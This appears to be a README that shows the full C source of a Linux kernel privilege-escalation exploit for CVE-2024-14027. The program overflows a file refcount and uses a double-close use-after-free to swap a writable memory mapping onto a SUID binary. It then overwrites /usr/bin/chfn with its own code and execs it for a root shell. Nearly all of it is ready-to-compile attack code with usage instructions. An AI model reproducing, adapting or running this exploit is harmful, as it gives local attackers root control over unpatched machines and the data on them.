README.md
Rendering markdown...
/*
* exploit_dc.c — CVE-2024-14027 → root shell via SUID binary overwrite
*
* Double-close technique adapted from CVE-2022-22942-dc.c (minipli).
*
* Strategy:
* 1. Overflow f_count via fremovexattr → free struct file (dangling_fd stale)
* 2. Open temp files O_RDWR → one reallocates the freed slab
* 3. Identify match via stale fd (fcntl + fstat inode compare)
* 4. mmap the match (PROT_WRITE, MAP_SHARED) — lazy, no pages faulted
* 5. Close all temp fds + close(dangling_fd) → extra fput → struct file freed again
* 6. Open SUID target O_RDONLY → reallocate slab with SUID's struct file
* 7. memcpy through mmap → page faults go to SUID's page cache → overwrites it
* 8. exec overwritten SUID → root shell
*
* When executed as the overwritten SUID binary (euid==0), spawns /bin/sh.
*
* Compile: gcc -m32 -O2 -o exploit_dc exploit_dc.c
* (dynamic link — binary must fit inside the SUID target)
*
* Run: ./exploit_dc [suid_target] (default: /usr/bin/chfn)
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <signal.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/sysmacros.h>
#define TARGET_LEAKS 0xFFFFFFFEUL
#define SLACK 10000000UL
#define NUM_WORKERS 3
#define STACK_SIZE (64 * 1024)
#define NUM_SPRAY 256
#define MAX_DC_RETRIES 20
#define SUID_TARGET "/usr/bin/chfn"
#define TEMP_PREFIX "/var/tmp/.xtmp"
static volatile unsigned long leak_count;
static volatile int go;
static volatile int stop_workers;
static int target_fd;
static int dangling_fd;
/* ------------------------------------------------------------------ */
/* fremovexattr via int 0x80 */
/* ------------------------------------------------------------------ */
static inline long fast_fremovexattr(int fd, const void *name)
{
long ret;
__asm__ volatile("int $0x80"
: "=a"(ret)
: "a"(237), "b"(fd), "c"(name)
: "memory");
return ret;
}
/* ------------------------------------------------------------------ */
/* Leak worker */
/* ------------------------------------------------------------------ */
static int leak_worker(void *arg)
{
unsigned long local = 0;
int fd = target_fd;
(void)arg;
cpu_set_t all;
CPU_ZERO(&all);
for (int i = 0; i < 4; i++) CPU_SET(i, &all);
sched_setaffinity(0, sizeof(all), &all);
while (!go)
__asm__ volatile("pause");
while (!stop_workers) {
fast_fremovexattr(fd, (const void *)0x1UL);
local++;
if ((local & 0xFFFFF) == 0)
__sync_fetch_and_add(&leak_count, 0x100000);
}
__sync_fetch_and_add(&leak_count, local & 0xFFFFF);
_exit(0);
return 0;
}
/* ------------------------------------------------------------------ */
/* Idle child for fdget slow-path during overflow */
/* ------------------------------------------------------------------ */
static int idle_fn(void *arg)
{
(void)arg;
for (;;) pause();
return 0;
}
/* ------------------------------------------------------------------ */
/* Map a file read-only and pre-fault all pages */
/* ------------------------------------------------------------------ */
static void *map_file(const char *path, size_t *len)
{
struct stat sb;
int fd;
fd = open(path, O_RDONLY);
if (fd < 0) { perror(path); _exit(1); }
if (fstat(fd, &sb)) { perror("fstat"); _exit(1); }
*len = sb.st_size;
void *addr = mmap(NULL, *len, PROT_READ, MAP_SHARED, fd, 0);
if (addr == MAP_FAILED) { perror("mmap"); _exit(1); }
/* Pre-fault to avoid page-ins during the critical path */
for (size_t i = 0; i < *len; i += 4096)
*(volatile char *)(addr + i);
close(fd);
return addr;
}
/* ------------------------------------------------------------------ */
/* Main */
/* ------------------------------------------------------------------ */
int main(int argc, char **argv)
{
pid_t worker_pids[NUM_WORKERS];
/* ---- Stage 0: If we ARE the overwritten SUID binary, get root ---- */
if (!geteuid()) {
setuid(0);
setgid(0);
execve("/bin/sh", (char *const []){"/bin/sh", NULL}, NULL);
_exit(1);
}
if (!getuid()) {
fprintf(stderr, "[!] Don't run as root — run as unprivileged user\n");
return 1;
}
setbuf(stdout, NULL);
char *suid_path = argc > 1 ? argv[1] : SUID_TARGET;
printf("[*] CVE-2024-14027 → root shell (double-close technique)\n");
printf("[*] Target SUID binary: %s\n\n", suid_path);
/* ---- Verify SUID target ---- */
struct stat suid_st;
if (stat(suid_path, &suid_st) != 0) {
printf("[!] %s not found\n", suid_path);
return 1;
}
if (suid_st.st_uid != 0 || !(suid_st.st_mode & 04111)) {
printf("[!] %s is not SUID root\n", suid_path);
return 1;
}
/* ---- Map exploit binary and SUID target ---- */
size_t prog_size, suid_size;
const void *prog_addr = map_file("/proc/self/exe", &prog_size);
const void *suid_addr = map_file(suid_path, &suid_size);
if (suid_size < prog_size) {
printf("[!] %s (%zu bytes) too small for exploit (%zu bytes)\n",
suid_path, suid_size, prog_size);
printf("[!] Compile without -static or choose a larger target\n");
return 1;
}
printf("[+] Exploit: %zu bytes, %s: %zu bytes — OK\n",
prog_size, suid_path, suid_size);
/* ---- Pin to CPU 0 ---- */
cpu_set_t cpu0;
CPU_ZERO(&cpu0);
CPU_SET(0, &cpu0);
sched_setaffinity(0, sizeof(cpu0), &cpu0);
/* ---- Create pipes FIRST (SLUB isolation) ---- */
int pipes[4][2];
for (int i = 0; i < 4; i++) {
if (pipe(pipes[i]) < 0) { perror("[!] pipe"); return 1; }
}
printf("[+] Pipes created (8 struct files on cpu_slab)\n");
/* ---- Open target, dup → f_count = 2 ---- */
target_fd = open("/tmp/exploit_target", O_RDWR | O_CREAT | O_TRUNC, 0666);
if (target_fd < 0) { perror("[!] open target"); return 1; }
dangling_fd = dup(target_fd);
if (dangling_fd < 0) { perror("[!] dup"); return 1; }
printf("[+] target_fd=%d dangling_fd=%d (f_count=2)\n",
target_fd, dangling_fd);
/* ---- Clone idle child (slow-path fdget during overflow) ---- */
pid_t idle_child;
{
void *stack = mmap(NULL, STACK_SIZE, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (stack == MAP_FAILED) { perror("[!] mmap stack"); return 1; }
idle_child = clone(idle_fn, (char *)stack + STACK_SIZE,
CLONE_VM | CLONE_FILES | SIGCHLD, NULL);
if (idle_child < 0) { perror("[!] clone idle"); return 1; }
}
/* ---- Overflow f_count ---- */
int fast_mode = (access("/tmp/fast_mode", F_OK) == 0);
if (fast_mode) {
printf("[*] FAST MODE: 100 leaks + sync() for GDB\n");
for (int i = 0; i < 100; i++)
fast_fremovexattr(target_fd, (const void *)0x1UL);
printf("[*] f_count = 102. Calling sync() — attach GDB now\n");
fflush(NULL);
sync();
printf("[*] Continuing after GDB...\n");
} else {
printf("[*] Spawning %d leak workers...\n", NUM_WORKERS);
for (int i = 0; i < NUM_WORKERS; i++) {
void *stack = mmap(NULL, STACK_SIZE, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (stack == MAP_FAILED) { perror("[!] mmap"); return 1; }
worker_pids[i] = clone(leak_worker, (char *)stack + STACK_SIZE,
CLONE_VM | CLONE_FILES | SIGCHLD, NULL);
if (worker_pids[i] < 0) { perror("[!] clone worker"); return 1; }
}
unsigned long target_bulk = TARGET_LEAKS - SLACK;
printf("[*] Need %lu leaks (%.2fG)\n", TARGET_LEAKS, TARGET_LEAKS / 1e9);
go = 1;
__sync_synchronize();
unsigned long last = 0;
while (leak_count < target_bulk) {
usleep(2000000);
unsigned long cur = leak_count;
double pct = 100.0 * cur / TARGET_LEAKS;
double rate = (cur - last) / 2.0 / 1e6;
unsigned long remaining = TARGET_LEAKS - cur;
double eta = (rate > 0) ? remaining / (rate * 1e6) : 9999;
printf("\r[*] %luM / 4294M (%.1f%%) %.1fM/s ETA %.0fs ",
cur / 1000000, pct, rate, eta);
last = cur;
}
stop_workers = 1;
__sync_synchronize();
for (int i = 0; i < NUM_WORKERS; i++)
waitpid(worker_pids[i], NULL, 0);
unsigned long done = leak_count;
printf("\n[*] Workers done: %lu leaks\n", done);
if (done < TARGET_LEAKS) {
unsigned long remain = TARGET_LEAKS - done;
printf("[*] Finishing %lu precisely...\n", remain);
for (unsigned long i = 0; i < remain; i++) {
fast_fremovexattr(target_fd, (const void *)0x1UL);
if ((i & 0xFFFFF) == 0 && i > 0)
printf("\r[*] precise: %luM / %luM ",
i / 1000000, remain / 1000000);
}
printf("\n");
} else {
unsigned long extra = done - TARGET_LEAKS;
unsigned long fixup = (0x100000000UL - extra) & 0xFFFFFFFFUL;
printf("[*] Overshot by %lu, fixup %lu leaks...\n", extra, fixup);
for (unsigned long i = 0; i < fixup; i++)
fast_fremovexattr(target_fd, (const void *)0x1UL);
}
}
/* ---- Kill idle child → fast-path fdget ---- */
kill(idle_child, SIGKILL);
waitpid(idle_child, NULL, 0);
printf("[+] Overflow done, fast-path fdget enabled\n\n");
/* ================================================================
* DOUBLE-CLOSE TECHNIQUE
* ================================================================ */
/* Phase 1: Free the struct file via fork helper.
*
* After overflow, f_count=0 (wrapped). close() alone does
* dec_and_test(0→0xFFFFFFFF) which is NOT zero → no __fput.
*
* Fix: fork() calls get_file() with unconditional atomic_long_inc
* on every fd → bumps f_count from 0 to 2 (target_fd + dangling_fd).
* Child closes both → dec_and_test brings 2→1→0 → __fput → freed.
* (Same mechanism exploit.c uses implicitly via spawner/closer forks.)
*/
printf("[*] Phase 1: fork helper to free struct file\n");
{
pid_t free_pid = fork();
if (free_pid == 0) {
close(target_fd);
close(dangling_fd);
_exit(0);
}
if (free_pid < 0) { perror("[!] fork"); return 1; }
waitpid(free_pid, NULL, 0);
}
/* Clean up parent's target_fd (fput on freed memory — harmless
* since slot is not yet reused; dec_and_test(0→-1) ≠ 0). */
close(target_fd);
/* Phase 2+3: Spray temp files and probe stale fd, with retry loop.
* After 22 min of overflow, the cpu_slab may have changed; the freed
* object might land on a partial page. We spray, check, and if a
* kernel-internal file grabbed the slot, close everything, wait for
* that file to be freed, and try again.
*/
int temp_fds[NUM_SPRAY];
int match_fd = -1;
int match_idx = -1;
char stale_fd_path[64];
snprintf(stale_fd_path, sizeof(stale_fd_path),
"/proc/self/fd/%d", dangling_fd);
for (int attempt = 0; attempt < MAX_DC_RETRIES; attempt++) {
if (attempt == 0) {
/* First attempt: short RCU grace period */
printf("[*] Waiting for RCU grace period...\n");
usleep(200000);
} else {
printf("[*] Retry %d/%d: re-spraying after 200ms...\n",
attempt, MAX_DC_RETRIES);
usleep(200000);
}
printf("[*] Phase 2: Opening %d temp files O_RDWR\n", NUM_SPRAY);
for (int i = 0; i < NUM_SPRAY; i++) {
char path[64];
snprintf(path, sizeof(path), TEMP_PREFIX "_%d", i);
temp_fds[i] = open(path, O_RDWR | O_CREAT | O_TRUNC, 0600);
if (temp_fds[i] < 0) { perror("[!] open temp"); return 1; }
unlink(path);
if (ftruncate(temp_fds[i], prog_size) < 0) {
perror("[!] ftruncate");
return 1;
}
}
printf("[*] Phase 3: Probing stale fd %d\n", dangling_fd);
/* readlink for diagnostics */
char link_buf[256];
ssize_t link_len = readlink(stale_fd_path, link_buf,
sizeof(link_buf) - 1);
if (link_len > 0) {
link_buf[link_len] = '\0';
printf("[*] readlink → %s\n", link_buf);
}
int flags = fcntl(dangling_fd, F_GETFL);
if (flags < 0) {
printf("[-] fcntl failed (errno=%d)\n", errno);
for (int i = 0; i < NUM_SPRAY; i++) close(temp_fds[i]);
continue;
}
struct stat stale_sb;
if (fstat(dangling_fd, &stale_sb) != 0) {
printf("[-] fstat failed\n");
for (int i = 0; i < NUM_SPRAY; i++) close(temp_fds[i]);
continue;
}
printf("[*] ino=%lu dev=(%d,%d) flags=0x%x\n",
(unsigned long)stale_sb.st_ino,
major(stale_sb.st_dev), minor(stale_sb.st_dev), flags);
if ((flags & O_ACCMODE) != O_RDWR) {
printf("[-] Not O_RDWR, retrying...\n");
for (int i = 0; i < NUM_SPRAY; i++) close(temp_fds[i]);
continue;
}
match_fd = -1;
match_idx = -1;
for (int i = 0; i < NUM_SPRAY; i++) {
struct stat sb;
if (fstat(temp_fds[i], &sb) == 0 &&
sb.st_ino == stale_sb.st_ino &&
sb.st_dev == stale_sb.st_dev) {
match_fd = temp_fds[i];
match_idx = i;
break;
}
}
if (match_fd >= 0) {
printf("[+] Match: temp_fds[%d] (fd %d)\n", match_idx, match_fd);
break;
}
printf("[-] No match (slot taken by ino=%lu dev=(%d,%d)), retrying...\n",
(unsigned long)stale_sb.st_ino,
major(stale_sb.st_dev), minor(stale_sb.st_dev));
for (int i = 0; i < NUM_SPRAY; i++)
close(temp_fds[i]);
}
if (match_fd < 0) {
printf("[!] Failed after %d retries — SLUB reuse failed\n",
MAX_DC_RETRIES);
return 1;
}
/* Phase 4: mmap the matched temp file.
* MAP_SHARED + PROT_WRITE — but DON'T touch the mapping yet.
* Pages are faulted lazily; we want them to resolve after the swap.
*/
printf("[*] Phase 4: Creating writable mmap (%zu bytes)\n", prog_size);
void *mmap_addr = mmap(NULL, prog_size, PROT_READ | PROT_WRITE,
MAP_SHARED, match_fd, 0);
if (mmap_addr == MAP_FAILED) { perror("[!] mmap"); return 1; }
printf("[+] Mapped at %p\n", mmap_addr);
/* Close ALL temp fds — mmap holds the last f_count reference */
for (int i = 0; i < NUM_SPRAY; i++)
close(temp_fds[i]);
/* Phase 5: Double-free.
* close(dangling_fd) calls filp_close → fput on the temp file's struct file.
* f_count was 1 (only mmap) → now 0 → __fput → struct file freed via RCU.
* The mmap's VMA now has a DANGLING vm_file pointer.
*/
printf("[*] Phase 5: close(dangling_fd) → double free\n");
close(dangling_fd);
printf("[*] Waiting for RCU grace period...\n");
usleep(200000);
/* Phase 6: Reallocate with SUID target O_RDONLY.
* One of these open() calls grabs the freed slab slot.
* The mmap's vm_file now points to the SUID binary's struct file.
* f_mapping → SUID inode's address_space.
*/
printf("[*] Phase 6: Opening %s O_RDONLY x%d\n", suid_path, NUM_SPRAY);
int suid_fds[NUM_SPRAY];
for (int i = 0; i < NUM_SPRAY; i++) {
suid_fds[i] = open(suid_path, O_RDONLY);
if (suid_fds[i] < 0) { perror("[!] open suid"); return 1; }
}
/* Phase 7: Overwrite via mmap.
* memcpy triggers page faults → resolved via vm_file->f_mapping
* → SUID binary's page cache → writes land in the SUID binary.
* The mmap was created with PROT_WRITE (checked at mmap time against
* the temp file). The kernel doesn't re-verify after the struct file swap.
*/
printf("[*] Phase 7: Overwriting %s via mmap (%zu bytes)...\n",
suid_path, prog_size);
memcpy(mmap_addr, prog_addr, prog_size);
/* Close SUID fds */
for (int i = 0; i < NUM_SPRAY; i++)
close(suid_fds[i]);
/* Phase 8: Verify and exec.
* Re-read the SUID binary to check if overwrite succeeded.
*/
size_t verify_size;
const void *verify_addr = map_file(suid_path, &verify_size);
if (memcmp(verify_addr, prog_addr, prog_size) == 0) {
printf("\n[+] *** %s successfully overwritten! ***\n", suid_path);
printf("[*] Spawning root shell...\n\n");
execve(suid_path, (char *const []){suid_path, NULL}, NULL);
perror("[!] execve");
} else {
printf("[-] Overwrite verification failed — SUID binary unchanged\n");
printf("[-] Page cache may not have been swapped correctly\n");
}
/* Become a ghost to avoid VFS refcount warning on exit
* (dangling mmap holds a freed struct file reference) */
setsid();
close(0); close(1); close(2);
sigset_t set;
sigfillset(&set);
sigprocmask(SIG_BLOCK, &set, NULL);
for (;;) pause();
return 1;
}